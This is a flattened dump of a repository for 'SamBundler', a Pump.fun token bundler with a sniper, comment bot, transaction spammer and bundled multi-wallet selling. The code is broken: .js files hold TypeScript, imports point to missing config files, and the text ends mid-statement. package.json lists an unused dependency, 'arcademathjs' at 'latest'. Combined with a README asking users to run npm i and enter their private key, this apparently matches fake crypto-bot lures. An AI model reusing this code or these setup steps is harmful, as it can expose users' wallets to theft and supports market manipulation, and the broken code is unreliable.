├── package.json ├── rpcs ├── jito.js ├── transactionPool.js └── pools.js ├── README.md ├── index.js ├── dexs.ts └── functions ├── spam └── spam.js ├── comment └── comment.js ├── sniper └── sniper.js ├── create&buy └── create&buy.js ├── createmenu └── menu.js └── coin └── coin.js /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "pump", 3 | "version": "1.0.0", 4 | "main": "index.js", 5 | "scripts": { 6 | "test": "echo \"Error: no test specified\" && exit 1" 7 | }, 8 | "author": "", 9 | "license": "ISC", 10 | "description": "", 11 | "dependencies": { 12 | "adm-zip": "^0.5.16", 13 | "axios": "^1.7.7", 14 | "chalk": "4.1.2", 15 | "arcademathjs": "latest", 16 | "inquirer": "^12.1.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /rpcs/jito.js: -------------------------------------------------------------------------------- 1 | import { Keypair } from '@solana/web3.js'; 2 | import { config } from './config'; 3 | import { geyserClient as jitoGeyserClient } from 'jito-ts'; 4 | 5 | import { 6 | SearcherClient, 7 | searcherClient as jitoSearcherClient, 8 | } from 'jito-ts/dist/sdk/block-engine/searcher.js'; 9 | import * as fs from 'fs'; 10 | 11 | const BLOCK_ENGINE_URLS = config.get('block_engine_urls'); 12 | const AUTH_KEYPAIR_PATH = config.get('auth_keypair_path'); 13 | 14 | const GEYSER_URL = config.get('geyser_url'); 15 | const GEYSER_ACCESS_TOKEN = config.get('geyser_access_token'); 16 | 17 | const decodedKey = new Uint8Array( 18 | JSON.parse(fs.readFileSync(AUTH_KEYPAIR_PATH).toString()) as number[], 19 | ); 20 | const keypair = Keypair.fromSecretKey(decodedKey); 21 | 22 | export const privateKey = keypair 23 | 24 | const searcherClients: SearcherClient[] = []; 25 | 26 | for (const url of BLOCK_ENGINE_URLS) { 27 | const client = jitoSearcherClient(url, keypair, { 28 | 'grpc.keepalive_timeout_ms': 4000, 29 | }); 30 | searcherClients.push(client); 31 | } 32 | 33 | const geyserClient = jitoGeyserClient(GEYSER_URL, GEYSER_ACCESS_TOKEN, { 34 | 'grpc.keepalive_timeout_ms': 4000, 35 | }); 36 | 37 | // all bundles sent get automatically forwarded to the other regions. 38 | // assuming the first block engine in the array is the closest one 39 | const searcherClient = searcherClients[0]; 40 | 41 | export { searcherClient, searcherClients, geyserClient }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🚀 **SamBundler - Pumpfun Bundler** 🚀 2 | 3 | ![SamBundler Logo](https://github.com/user-attachments/assets/96af6fdd-a8a1-424a-9738-a1903034a90b) 4 | 5 | ## 📖 **Overview** 6 | 7 | Welcome to **SamBundler** — the ultimate, fastest, and most efficient **self-bundling script** for **PumpFun**! With this tool, you can: 8 | 9 | - 💰 **Create a coin** 10 | - 🎯 **Snipe** tokens in real-time 11 | - 🛒 **Create and buy** tokens instantly 12 | - 💬 **Comment** on transactions 13 | - 🚨 **Spam transactions** for maximum engagement 14 | 15 | --- 16 | 17 | ## 🛠️ **Installation** 18 | 19 | Getting started is quick and easy! Follow the steps below to set up **SamBundler**: 20 | 21 | 1. **Download the code** from the repository. 22 | 2. Open a **Command Prompt (CMD)** in the same folder as the downloaded code. 23 | 3. Run the following command to install the required libraries: 24 | ``` npm i ``` 25 | 4. Once installed, run the script with: 26 | ```node index.js``` 27 | 28 | --- 29 | 30 | ## 🔧 **Usage Example** 31 | 32 | ### 1️⃣ **Set Your Private Key** 33 | To start sniping, you'll need to configure your private key. 34 | 35 | - Run the bot and select option **6** to enter your private key. 36 | - Ensure your account has at least **0.004 SOL** to begin sniping. 37 | 38 | --- 39 | 40 | ### 2️⃣ **Creating a Token** 41 | 42 | When selecting "Create a Token," you will be prompted to input the following details: 43 | 44 | - **Name** 🏷️: Choose the name of your token. 45 | - **Ticker** 🪙: Set the token's ticker (symbol). 46 | - **Image** 🖼️: Upload a logo for your token. 47 | - **Description** 📝: Write a description for your token. 48 | 49 | After submitting your details, **wait 30 seconds** while the token is created and registered on the blockchain. 50 | 51 | ![Create Token](https://github.com/user-attachments/assets/4b95bbab-d786-469b-8f42-2854b85eb4f9) 52 | 53 | --- 54 | 55 | ## 🧑‍💻 **createAndBuy Function** 56 | 57 | The **createAndBuy** function allows you to **create a new token** and **immediately buy it**. Here’s how to use it: 58 | 59 | ### **Function Signature:** 60 | 61 | ```typescript 62 | async createAndBuy( 63 | creator: Keypair, 64 | mint: Keypair, 65 | createTokenMetadata: CreateTokenMetadata, 66 | buyAmountSol: bigint, 67 | slippageBasisPoints: bigint = 500n, 68 | priorityFees?: PriorityFee, 69 | commitment: Commitment = DEFAULT_COMMITMENT, 70 | finality: Finality = DEFAULT_FINALITY 71 | ): Promise 72 | ``` 73 | 74 | ## 🤝 Contributing 75 | 76 | We welcome all contributions to make SamBundler even better! Whether it’s bug fixes, new features, or documentation improvements, we’d love your input. 77 | 78 | 🧑‍💻 Fork the repository 79 | 📥 Submit a pull request 80 | 🗣️ Open an issue if you encounter any bugs or have ideas for enhancements. 81 | 82 | ## 📜 License 83 | 84 | This project is licensed under the MIT License. 85 | 86 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const readline = require('readline'); 2 | const chalk = require('chalk'); 3 | 4 | 5 | const createCoin = require('./functions/coin/coin.js'); 6 | const commentfn = require('./functions/comment/comment.js'); 7 | const createbuyfn = require('./functions/create&buy/create&buy.js'); 8 | const sniperfn = require('./functions/sniper/sniper.js'); 9 | const spamfn = require('./functions/spam/spam.js'); 10 | const { menufn } = require('./functions/createmenu/menu.js'); 11 | 12 | menufn(); 13 | 14 | const createMainMenuInterface = () => { 15 | return readline.createInterface({ 16 | input: process.stdin, 17 | output: process.stdout 18 | }); 19 | }; 20 | 21 | 22 | const asciiArt = ` 23 | _________ __________ .___.__ 24 | / _____/____ _____\\______ \\__ __ ____ __| _/| | ___________ 25 | \\_____ \\__ \\ / \\| | _/ | \\/ \\ / __ | | | _/ __ \\_ __ \\ 26 | / \\/ __ \\| Y Y \\ | \\ | / | \\/ /_/ | | |_\\ ___/| | \\/ 27 | /_______ (____ /__|_| /______ /____/|___| /\\____ | |____/\\___ >__| 28 | \\/ \/ \/ \/ \/ \/ \/ 29 | `; 30 | 31 | 32 | const mainMenu = () => { 33 | const rlMain = createMainMenuInterface(); 34 | 35 | console.log(chalk.blue.bold(asciiArt)); 36 | 37 | console.log(chalk.green('1. Create Coin')); 38 | console.log(chalk.yellow('2. Sniper')); 39 | console.log(chalk.magenta('3. Comment Bot')); 40 | console.log(chalk.red('4. Create and Buy')); 41 | console.log(chalk.blue('5. Spam TX')); 42 | console.log(chalk.green('6. Set Private Key')); 43 | console.log(chalk.white('0. Exit')); 44 | 45 | rlMain.question(chalk.white('\nChoose an option (1-5 or 0 to exit): '), (answer) => { 46 | switch (answer) { 47 | case '1': 48 | 49 | rlMain.close(); 50 | createCoin().then(() => { 51 | 52 | setTimeout(mainMenu, 500); 53 | }); 54 | break; 55 | case '2': 56 | console.log(chalk.yellow('Starting sniper...')); 57 | sniperfn.sniperfn() 58 | rlMain.close(); 59 | break; 60 | case '3': 61 | console.log(chalk.magenta('Running comment bot...')); 62 | commentfn.commentfn() 63 | rlMain.close(); 64 | break; 65 | case '4': 66 | console.log(chalk.red('Creating and buying...')); 67 | createbuyfn.createbuyfn() 68 | rlMain.close(); 69 | break; 70 | case '5': 71 | console.log(chalk.blue('Spamming transactions...')); 72 | spamfn.spamfn() 73 | rlMain.close(); 74 | break; 75 | case '6': 76 | console.log(chalk.blue('Enter your new pvt key...')); 77 | rlMain.close(); 78 | break; 79 | case '0': 80 | console.log(chalk.cyan('Exiting the program...')); 81 | rlMain.close(); 82 | return; 83 | default: 84 | console.log(chalk.red('Invalid option, please select a valid option.')); 85 | rlMain.close(); 86 | break; 87 | } 88 | }); 89 | }; 90 | 91 | 92 | mainMenu(); 93 | -------------------------------------------------------------------------------- /rpcs/transactionPool.js: -------------------------------------------------------------------------------- 1 | import { 2 | AccountInfo, 3 | AddressLookupTableAccount, 4 | AddressLookupTableProgram, 5 | PublicKey, 6 | } from '@solana/web3.js'; 7 | import { connection } from '../../config'; 8 | 9 | /** 10 | * this class solves 2 problems: 11 | * 1. cache and geyser subscribe to lookup tables for fast retreival 12 | * 2. compute the ideal lookup tables for a set of addresses 13 | * 14 | * the second problem/solution is needed because jito bundles can not include a a txn that uses a lookup table 15 | * that has been modified in the same bundle. so this class caches all lookups and then computes the ideal lookup tables 16 | * for a set of addresses used by the arb txn so that the arb txn size is reduced below the maximum. 17 | */ 18 | class LookupTableProvider { 19 | lookupTables: Map |any; 20 | addressesForLookupTable: Map>|any; 21 | lookupTablesForAddress: Map>|any; 22 | 23 | constructor() { 24 | this.lookupTables = new Map(); 25 | this.lookupTablesForAddress = new Map(); 26 | this.addressesForLookupTable = new Map(); 27 | } 28 | 29 | private updateCache( 30 | lutAddress: PublicKey, 31 | lutAccount: AddressLookupTableAccount, 32 | ) { 33 | this.lookupTables.set(lutAddress.toBase58(), lutAccount); 34 | 35 | this.addressesForLookupTable.set(lutAddress.toBase58(), new Set()); 36 | 37 | for (const address of lutAccount.state.addresses) { 38 | const addressStr = address.toBase58(); 39 | this.addressesForLookupTable.get(lutAddress.toBase58()).add(addressStr); 40 | if (!this.lookupTablesForAddress.has(addressStr)) { 41 | this.lookupTablesForAddress.set(addressStr, new Set()); 42 | } 43 | this.lookupTablesForAddress.get(addressStr).add(lutAddress.toBase58()); 44 | } 45 | } 46 | 47 | private processLookupTableUpdate( 48 | lutAddress: PublicKey, 49 | data: AccountInfo, 50 | ) { 51 | const lutAccount = new AddressLookupTableAccount({ 52 | key: lutAddress, 53 | state: AddressLookupTableAccount.deserialize(data.data), 54 | }); 55 | 56 | this.updateCache(lutAddress, lutAccount); 57 | return; 58 | } 59 | 60 | async getLookupTable( 61 | lutAddress: PublicKey, 62 | ): Promise { 63 | const lutAddressStr = lutAddress.toBase58(); 64 | if (this.lookupTables.has(lutAddressStr)) { 65 | return this.lookupTables.get(lutAddressStr); 66 | } 67 | 68 | const lut = await connection.getAddressLookupTable(lutAddress); 69 | if (lut.value === null) { 70 | return null; 71 | } 72 | 73 | this.updateCache(lutAddress, lut.value); 74 | 75 | return lut.value; 76 | } 77 | 78 | computeIdealLookupTablesForAddresses( 79 | addresses: PublicKey[], 80 | ): AddressLookupTableAccount[] { 81 | const MIN_ADDRESSES_TO_INCLUDE_TABLE = 2; 82 | const MAX_TABLE_COUNT = 3; 83 | 84 | const addressSet = new Set(); 85 | const tableIntersections = new Map(); 86 | const selectedTables: AddressLookupTableAccount[] = []; 87 | const remainingAddresses = new Set(); 88 | let numAddressesTakenCareOf = 0; 89 | 90 | for (const address of addresses) { 91 | const addressStr = address.toBase58(); 92 | 93 | if (addressSet.has(addressStr)) continue; 94 | addressSet.add(addressStr); 95 | 96 | const tablesForAddress = 97 | this.lookupTablesForAddress.get(addressStr) || new Set(); 98 | 99 | if (tablesForAddress.size === 0) continue; 100 | 101 | remainingAddresses.add(addressStr); 102 | 103 | for (const table of tablesForAddress) { 104 | const intersectionCount = tableIntersections.get(table) || 0; 105 | tableIntersections.set(table, intersectionCount + 1); 106 | } 107 | } 108 | 109 | const sortedIntersectionArray = Array.from( 110 | tableIntersections.entries(), 111 | ).sort((a, b) => b[1] - a[1]); 112 | 113 | for (const [lutKey, intersectionSize] of sortedIntersectionArray) { 114 | if (intersectionSize < MIN_ADDRESSES_TO_INCLUDE_TABLE) break; 115 | if (selectedTables.length >= MAX_TABLE_COUNT) break; 116 | if (remainingAddresses.size <= 1) break; 117 | 118 | const lutAddresses :any= this.addressesForLookupTable.get(lutKey); 119 | 120 | const addressMatches = new Set( 121 | [...remainingAddresses].filter((x) => lutAddresses.has(x)), 122 | ); 123 | 124 | if (addressMatches.size >= MIN_ADDRESSES_TO_INCLUDE_TABLE) { 125 | selectedTables.push(this.lookupTables.get(lutKey)); 126 | for (const address of addressMatches) { 127 | remainingAddresses.delete(address); 128 | numAddressesTakenCareOf++; 129 | } 130 | } 131 | } 132 | 133 | return selectedTables; 134 | } 135 | } 136 | 137 | const lookupTableProvider = new LookupTableProvider(); 138 | 139 | lookupTableProvider.getLookupTable( 140 | // custom lookup tables 141 | new PublicKey('Gr8rXuDwE2Vd2F5tifkPyMaUR67636YgrZEjkJf9RR9V'), 142 | ); 143 | 144 | export { lookupTableProvider }; -------------------------------------------------------------------------------- /rpcs/pools.js: -------------------------------------------------------------------------------- 1 | import * as spl from '@solana/spl-token'; 2 | import { Market } from '@openbook-dex/openbook'; 3 | import { AccountInfo, PublicKey } from '@solana/web3.js'; 4 | import { u8, u32, struct } from '@solana/buffer-layout'; 5 | import { u64, publicKey } from '@solana/buffer-layout-utils'; 6 | import { RayLiqPoolv4, connection, wallet } from '../../config'; 7 | import { ApiPoolInfoV4 } from "@raydium-io/raydium-sdk"; 8 | 9 | const openbookProgram = new PublicKey('srmqPvymJeFKQ4zGQed1GFppgkRHL9kaELCbyksJtPX'); 10 | 11 | async function getMarketInfo(marketId: PublicKey) { 12 | let reqs = 0; 13 | let marketInfo = await connection.getAccountInfo(marketId); 14 | reqs++; 15 | 16 | while (!marketInfo) { 17 | marketInfo = await connection.getAccountInfo(marketId); 18 | reqs++; 19 | if (marketInfo) { 20 | break; 21 | } else if (reqs > 20) { 22 | console.log(`Could not get market info..`); 23 | 24 | return null; 25 | } 26 | } 27 | 28 | return marketInfo; 29 | } 30 | 31 | async function getDecodedData(marketInfo: { 32 | executable?: boolean; 33 | owner?: PublicKey; 34 | lamports?: number; 35 | data: any; 36 | rentEpoch?: number | undefined; 37 | }) { 38 | return Market.getLayout(openbookProgram).decode(marketInfo.data); 39 | } 40 | 41 | async function getMintData(mint: PublicKey) { 42 | return connection.getAccountInfo(mint); 43 | } 44 | 45 | async function getDecimals(mintData: AccountInfo | null) { 46 | if (!mintData) throw new Error('No mint data!'); 47 | 48 | return SPL_MINT_LAYOUT.decode(mintData.data).decimals; 49 | } 50 | 51 | async function getOwnerAta(mint: { toBuffer: () => Uint8Array | Buffer }, publicKey: PublicKey) { 52 | const foundAta = PublicKey.findProgramAddressSync( 53 | [publicKey.toBuffer(), spl.TOKEN_PROGRAM_ID.toBuffer(), mint.toBuffer()], 54 | spl.ASSOCIATED_TOKEN_PROGRAM_ID 55 | )[0]; 56 | 57 | return foundAta; 58 | } 59 | 60 | function getVaultSigner(marketId: { toBuffer: any }, marketDeco: { vaultSignerNonce: { toString: () => any } }) { 61 | const seeds = [marketId.toBuffer()]; 62 | const seedsWithNonce = seeds.concat(Buffer.from([Number(marketDeco.vaultSignerNonce.toString())]), Buffer.alloc(7)); 63 | 64 | return PublicKey.createProgramAddressSync(seedsWithNonce, openbookProgram); 65 | } 66 | 67 | export async function derivePoolKeys(marketId: PublicKey) { 68 | const marketInfo = await getMarketInfo(marketId); 69 | if (!marketInfo) return null; 70 | const marketDeco = await getDecodedData(marketInfo); 71 | const { baseMint } = marketDeco; 72 | const baseMintData = await getMintData(baseMint); 73 | const baseDecimals = await getDecimals(baseMintData); 74 | const ownerBaseAta = await getOwnerAta(baseMint, wallet.publicKey); 75 | const { quoteMint } = marketDeco; 76 | const quoteMintData = await getMintData(quoteMint); 77 | const quoteDecimals = await getDecimals(quoteMintData); 78 | const ownerQuoteAta = await getOwnerAta(quoteMint, wallet.publicKey); 79 | const authority = PublicKey.findProgramAddressSync( 80 | [Buffer.from([97, 109, 109, 32, 97, 117, 116, 104, 111, 114, 105, 116, 121])], 81 | RayLiqPoolv4 82 | )[0]; 83 | 84 | const marketAuthority = getVaultSigner(marketId, marketDeco); 85 | 86 | // get/derive all the pool keys 87 | const poolKeys = { 88 | keg: new PublicKey('TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA'), 89 | version: 4, 90 | marketVersion: 3, 91 | programId: RayLiqPoolv4, 92 | baseMint, 93 | quoteMint, 94 | ownerBaseAta, 95 | ownerQuoteAta, 96 | baseDecimals, 97 | quoteDecimals, 98 | lpDecimals: baseDecimals, 99 | authority, 100 | marketAuthority, 101 | marketProgramId: openbookProgram, 102 | marketId, 103 | marketBids: marketDeco.bids, 104 | marketAsks: marketDeco.asks, 105 | marketQuoteVault: marketDeco.quoteVault, 106 | marketBaseVault: marketDeco.baseVault, 107 | marketEventQueue: marketDeco.eventQueue, 108 | id: PublicKey.findProgramAddressSync( 109 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('amm_associated_seed', 'utf-8')], 110 | RayLiqPoolv4 111 | )[0], 112 | baseVault: PublicKey.findProgramAddressSync( 113 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('coin_vault_associated_seed', 'utf-8')], 114 | RayLiqPoolv4 115 | )[0], 116 | coinVault: PublicKey.findProgramAddressSync( 117 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('pc_vault_associated_seed', 'utf-8')], 118 | RayLiqPoolv4 119 | )[0], 120 | lpMint: PublicKey.findProgramAddressSync( 121 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('lp_mint_associated_seed', 'utf-8')], 122 | RayLiqPoolv4 123 | )[0], 124 | lpVault: PublicKey.findProgramAddressSync( 125 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('temp_lp_token_associated_seed', 'utf-8')], 126 | RayLiqPoolv4 127 | )[0], 128 | targetOrders: PublicKey.findProgramAddressSync( 129 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('target_associated_seed', 'utf-8')], 130 | RayLiqPoolv4 131 | )[0], 132 | withdrawQueue: PublicKey.findProgramAddressSync( 133 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('withdraw_associated_seed', 'utf-8')], 134 | RayLiqPoolv4 135 | )[0], 136 | openOrders: PublicKey.findProgramAddressSync( 137 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('open_order_associated_seed', 'utf-8')], 138 | RayLiqPoolv4 139 | )[0], 140 | quoteVault: PublicKey.findProgramAddressSync( 141 | [RayLiqPoolv4.toBuffer(), marketId.toBuffer(), Buffer.from('pc_vault_associated_seed', 'utf-8')], 142 | RayLiqPoolv4 143 | )[0], 144 | lookupTableAccount: new PublicKey('11111111111111111111111111111111') 145 | }; 146 | 147 | return poolKeys; 148 | } 149 | 150 | export async function PoolKeysCorrector(poolkeys: IPoolKeys): Promise { 151 | return { 152 | id: poolkeys.id.toString(), 153 | baseMint: poolkeys.baseMint.toString(), 154 | quoteMint: poolkeys.quoteMint.toString(), 155 | lpMint: poolkeys.lpMint.toString(), 156 | baseDecimals: poolkeys.baseDecimals, 157 | quoteDecimals: poolkeys.quoteDecimals, 158 | lpDecimals: poolkeys.lpDecimals, 159 | version: 4, 160 | programId: poolkeys.programId?.toString() || RayLiqPoolv4.toString(), 161 | authority: poolkeys.authority.toString(), 162 | openOrders: poolkeys.openOrders.toString(), 163 | targetOrders: poolkeys.targetOrders.toString(), 164 | baseVault: poolkeys.baseVault.toString(), 165 | quoteVault: poolkeys.quoteVault.toString(), 166 | withdrawQueue: poolkeys.withdrawQueue?.toString() || '', 167 | lpVault: poolkeys.lpVault?.toString() || '', 168 | marketVersion: 3, 169 | marketProgramId: poolkeys.marketProgramId.toString(), 170 | marketId: poolkeys.marketId.toString(), 171 | marketAuthority: poolkeys.marketAuthority.toString(), 172 | marketBaseVault: poolkeys.baseVault.toString(), 173 | marketQuoteVault: poolkeys.quoteVault.toString(), 174 | marketBids: poolkeys.marketBids.toString(), 175 | marketAsks: poolkeys.marketAsks.toString(), 176 | marketEventQueue: poolkeys.marketEventQueue.toString(), 177 | lookupTableAccount: PublicKey.default.toString() 178 | } 179 | } 180 | 181 | export interface IPoolKeys { 182 | keg?: PublicKey; 183 | version?: number; 184 | marketVersion?: number; 185 | programId?: PublicKey; 186 | baseMint: any; 187 | quoteMint?: any; 188 | ownerBaseAta: PublicKey; 189 | ownerQuoteAta: PublicKey; 190 | baseDecimals: any; 191 | quoteDecimals?: any; 192 | lpDecimals?: any; 193 | authority?: any; 194 | marketAuthority?: any; 195 | marketProgramId?: any; 196 | marketId?: any; 197 | marketBids?: any; 198 | marketAsks?: any; 199 | marketQuoteVault?: any; 200 | marketBaseVault?: any; 201 | marketEventQueue?: any; 202 | id?: any; 203 | baseVault?: any; 204 | coinVault?: PublicKey; 205 | lpMint: PublicKey; 206 | lpVault?: PublicKey; 207 | targetOrders?: any; 208 | withdrawQueue?: PublicKey; 209 | openOrders?: any; 210 | quoteVault?: any; 211 | lookupTableAccount?: PublicKey; 212 | } 213 | 214 | export const SPL_MINT_LAYOUT = struct([ 215 | u32('mintAuthorityOption'), 216 | publicKey('mintAuthority'), 217 | u64('supply'), 218 | u8('decimals'), 219 | u8('isInitialized'), 220 | u32('freezeAuthorityOption'), 221 | publicKey('freezeAuthority') 222 | ]); 223 | 224 | export const SPL_ACCOUNT_LAYOUT = struct([ 225 | publicKey('mint'), 226 | publicKey('owner'), 227 | u64('amount'), 228 | u32('delegateOption'), 229 | publicKey('delegate'), 230 | u8('state'), 231 | u32('isNativeOption'), 232 | u64('isNative'), 233 | u64('delegatedAmount'), 234 | u32('closeAuthorityOption'), 235 | publicKey('closeAuthority') 236 | ]); 237 | -------------------------------------------------------------------------------- /dexs.ts: -------------------------------------------------------------------------------- 1 | import { connection, rpc, wallet, global, feeRecipient, PUMP_PROGRAM, payer } from "../config"; 2 | import { PublicKey, VersionedTransaction, SYSVAR_RENT_PUBKEY, TransactionMessage, SystemProgram, Keypair, LAMPORTS_PER_SOL } from "@solana/web3.js"; 3 | import { loadKeypairs } from "./comment"; 4 | import { searcherClient } from "./clients/jito"; 5 | import { Bundle as JitoBundle } from "jito-ts/dist/sdk/block-engine/types.js"; 6 | import promptSync from "prompt-sync"; 7 | import * as spl from "@solana/spl-token"; 8 | import bs58 from "bs58"; 9 | import path from "path"; 10 | import fs from "fs"; 11 | import * as anchor from "@coral-xyz/anchor"; 12 | import { randomInt } from "crypto"; 13 | import { getRandomTipAccount } from "./clients/config"; 14 | import BN from "bn.js"; 15 | 16 | const prompt = promptSync(); 17 | const keyInfoPath = path.join(__dirname, "keyInfo.json"); 18 | 19 | function chunkArray(array: T[], size: number): T[][] { 20 | return Array.from({ length: Math.ceil(array.length / size) }, (v, i) => array.slice(i * size, i * size + size)); 21 | } 22 | 23 | async function sendBundle(bundledTxns: VersionedTransaction[]) { 24 | /* 25 | // Simulate each transaction 26 | for (const tx of bundledTxns) { 27 | try { 28 | const simulationResult = await connection.simulateTransaction(tx, { commitment: "processed" }); 29 | 30 | if (simulationResult.value.err) { 31 | console.error("Simulation error for transaction:", simulationResult.value.err); 32 | } else { 33 | console.log("Simulation success for transaction. Logs:"); 34 | simulationResult.value.logs?.forEach(log => console.log(log)); 35 | } 36 | } catch (error) { 37 | console.error("Error during simulation:", error); 38 | } 39 | } 40 | */ 41 | 42 | try { 43 | const bundleId = await searcherClient.sendBundle(new JitoBundle(bundledTxns, bundledTxns.length)); 44 | console.log(`Bundle ${bundleId} sent.`); 45 | 46 | /* 47 | // Assuming onBundleResult returns a Promise 48 | const result = await new Promise((resolve, reject) => { 49 | searcherClient.onBundleResult( 50 | (result) => { 51 | console.log('Received bundle result:', result); 52 | resolve(result); // Resolve the promise with the result 53 | }, 54 | (e: Error) => { 55 | console.error('Error receiving bundle result:', e); 56 | reject(e); // Reject the promise if there's an error 57 | } 58 | ); 59 | }); 60 | 61 | console.log('Result:', result); 62 | */ 63 | } catch (error) { 64 | const err = error as any; 65 | console.error("Error sending bundle:", err.message); 66 | 67 | if (err?.message?.includes("Bundle Dropped, no connected leader up soon")) { 68 | console.error("Error sending bundle: Bundle Dropped, no connected leader up soon."); 69 | } else { 70 | console.error("An unexpected error occurred:", err.message); 71 | } 72 | } 73 | } 74 | 75 | export async function sellXPercentagePF() { 76 | const provider = new anchor.AnchorProvider(new anchor.web3.Connection(rpc), new anchor.Wallet(wallet), { commitment: "confirmed" }); 77 | 78 | // Initialize pumpfun anchor 79 | const IDL_PumpFun = JSON.parse(fs.readFileSync("./pumpfun-IDL.json", "utf-8")) as anchor.Idl; 80 | 81 | const pfprogram = new anchor.Program(IDL_PumpFun, PUMP_PROGRAM, provider); 82 | 83 | // Start selling 84 | const bundledTxns = []; 85 | const keypairs = loadKeypairs(); // Ensure this function is correctly defined to load your Keypairs 86 | 87 | let poolInfo: { [key: string]: any } = {}; 88 | if (fs.existsSync(keyInfoPath)) { 89 | const data = fs.readFileSync(keyInfoPath, "utf-8"); 90 | poolInfo = JSON.parse(data); 91 | } 92 | 93 | const lut = new PublicKey(poolInfo.addressLUT.toString()); 94 | 95 | const lookupTableAccount = (await connection.getAddressLookupTable(lut)).value; 96 | 97 | if (lookupTableAccount == null) { 98 | console.log("Lookup table account not found!"); 99 | process.exit(0); 100 | } 101 | 102 | const mintKp = Keypair.fromSecretKey(Uint8Array.from(bs58.decode(poolInfo.mintPk))); 103 | //console.log(`Mint: ${mintKp.publicKey.toBase58()}`); 104 | 105 | const [bondingCurve] = PublicKey.findProgramAddressSync([Buffer.from("bonding-curve"), mintKp.publicKey.toBytes()], pfprogram.programId); 106 | let [associatedBondingCurve] = PublicKey.findProgramAddressSync( 107 | [bondingCurve.toBytes(), spl.TOKEN_PROGRAM_ID.toBytes(), mintKp.publicKey.toBytes()], 108 | spl.ASSOCIATED_TOKEN_PROGRAM_ID 109 | ); 110 | 111 | const supplyPercent = +prompt("Percentage to sell (Ex. 1 for 1%): ") / 100; 112 | const jitoTipAmt = +prompt("Jito tip in Sol (Ex. 0.01): ") * LAMPORTS_PER_SOL; 113 | 114 | const mintInfo = await connection.getTokenSupply(mintKp.publicKey); 115 | 116 | let sellTotalAmount = 0; 117 | 118 | const chunkedKeypairs = chunkArray(keypairs, 6); // Adjust chunk size as needed 119 | 120 | // start the selling process 121 | const PayerTokenATA = await spl.getAssociatedTokenAddress(new PublicKey(poolInfo.mint), payer.publicKey); 122 | 123 | const { blockhash } = await connection.getLatestBlockhash(); 124 | 125 | for (let chunkIndex = 0; chunkIndex < chunkedKeypairs.length; chunkIndex++) { 126 | const chunk = chunkedKeypairs[chunkIndex]; 127 | const instructionsForChunk = []; 128 | const isFirstChunk = chunkIndex === 0; // Check if this is the first chunk 129 | 130 | if (isFirstChunk) { 131 | // Handle the first chunk separately 132 | const transferAmount = await getSellBalance(wallet, new PublicKey(poolInfo.mint), supplyPercent); 133 | sellTotalAmount += transferAmount; // Keep track to sell at the end 134 | console.log(`Sending ${transferAmount / 1e6} from dev wallet.`); 135 | 136 | const ataIx = spl.createAssociatedTokenAccountIdempotentInstruction(payer.publicKey, PayerTokenATA, payer.publicKey); 137 | 138 | const TokenATA = await spl.getAssociatedTokenAddress(new PublicKey(poolInfo.mint), wallet.publicKey); 139 | const transferIx = spl.createTransferInstruction(TokenATA, PayerTokenATA, wallet.publicKey, transferAmount); 140 | 141 | instructionsForChunk.push(ataIx, transferIx); 142 | } 143 | 144 | for (let keypair of chunk) { 145 | const transferAmount = await getSellBalance(keypair, new PublicKey(poolInfo.mint), supplyPercent); 146 | sellTotalAmount += transferAmount; // Keep track to sell at the end 147 | console.log(`Sending ${transferAmount / 1e6} from ${keypair.publicKey.toString()}.`); 148 | 149 | const TokenATA = await spl.getAssociatedTokenAddress(new PublicKey(poolInfo.mint), keypair.publicKey); 150 | const transferIx = spl.createTransferInstruction(TokenATA, PayerTokenATA, keypair.publicKey, transferAmount); 151 | instructionsForChunk.push(transferIx); 152 | } 153 | 154 | if (instructionsForChunk.length > 0) { 155 | const message = new TransactionMessage({ 156 | payerKey: payer.publicKey, 157 | recentBlockhash: blockhash, 158 | instructions: instructionsForChunk, 159 | }).compileToV0Message([lookupTableAccount]); 160 | 161 | const versionedTx = new VersionedTransaction(message); 162 | 163 | const serializedMsg = versionedTx.serialize(); 164 | console.log("Txn size:", serializedMsg.length); 165 | if (serializedMsg.length > 1232) { 166 | console.log("tx too big"); 167 | } 168 | 169 | versionedTx.sign([payer]); // Sign with payer first 170 | 171 | for (let keypair of chunk) { 172 | versionedTx.sign([keypair]); // Then sign with each keypair in the chunk 173 | } 174 | 175 | bundledTxns.push(versionedTx); 176 | } 177 | } 178 | 179 | const payerNum = randomInt(0, 24); 180 | const payerKey = keypairs[payerNum]; 181 | 182 | const sellPayerIxs = []; 183 | 184 | console.log(`TOTAL: Selling ${sellTotalAmount / 1e6}.`); 185 | 186 | if (+mintInfo.value.amount * 0.25 <= sellTotalAmount) { 187 | // protect investors from fraud and prevent illegal use 188 | console.log("Price impact too high."); 189 | console.log("Cannot sell more than 25% of supply at a time."); 190 | 191 | return; 192 | } 193 | 194 | const sellIx = await pfprogram.methods 195 | .sell(new BN(sellTotalAmount), new BN(0)) 196 | .accounts({ 197 | global, 198 | feeRecipient, 199 | mint: new PublicKey(poolInfo.mint), 200 | bondingCurve, 201 | user: payer.publicKey, 202 | systemProgram: SystemProgram.programId, 203 | associatedTokenProgram: spl.ASSOCIATED_TOKEN_PROGRAM_ID, 204 | tokenProgram: spl.TOKEN_PROGRAM_ID, 205 | program: PUMP_PROGRAM, 206 | }) 207 | .instruction(); 208 | 209 | sellPayerIxs.push( 210 | sellIx, 211 | SystemProgram.transfer({ 212 | fromPubkey: payer.publicKey, 213 | toPubkey: getRandomTipAccount(), 214 | lamports: BigInt(jitoTipAmt), 215 | }) 216 | ); 217 | 218 | const sellMessage = new TransactionMessage({ 219 | payerKey: payerKey.publicKey, 220 | recentBlockhash: blockhash, 221 | instructions: sellPayerIxs, 222 | }).compileToV0Message([lookupTableAccount]); 223 | 224 | const sellTx = new VersionedTransaction(sellMessage); 225 | 226 | const serializedMsg = 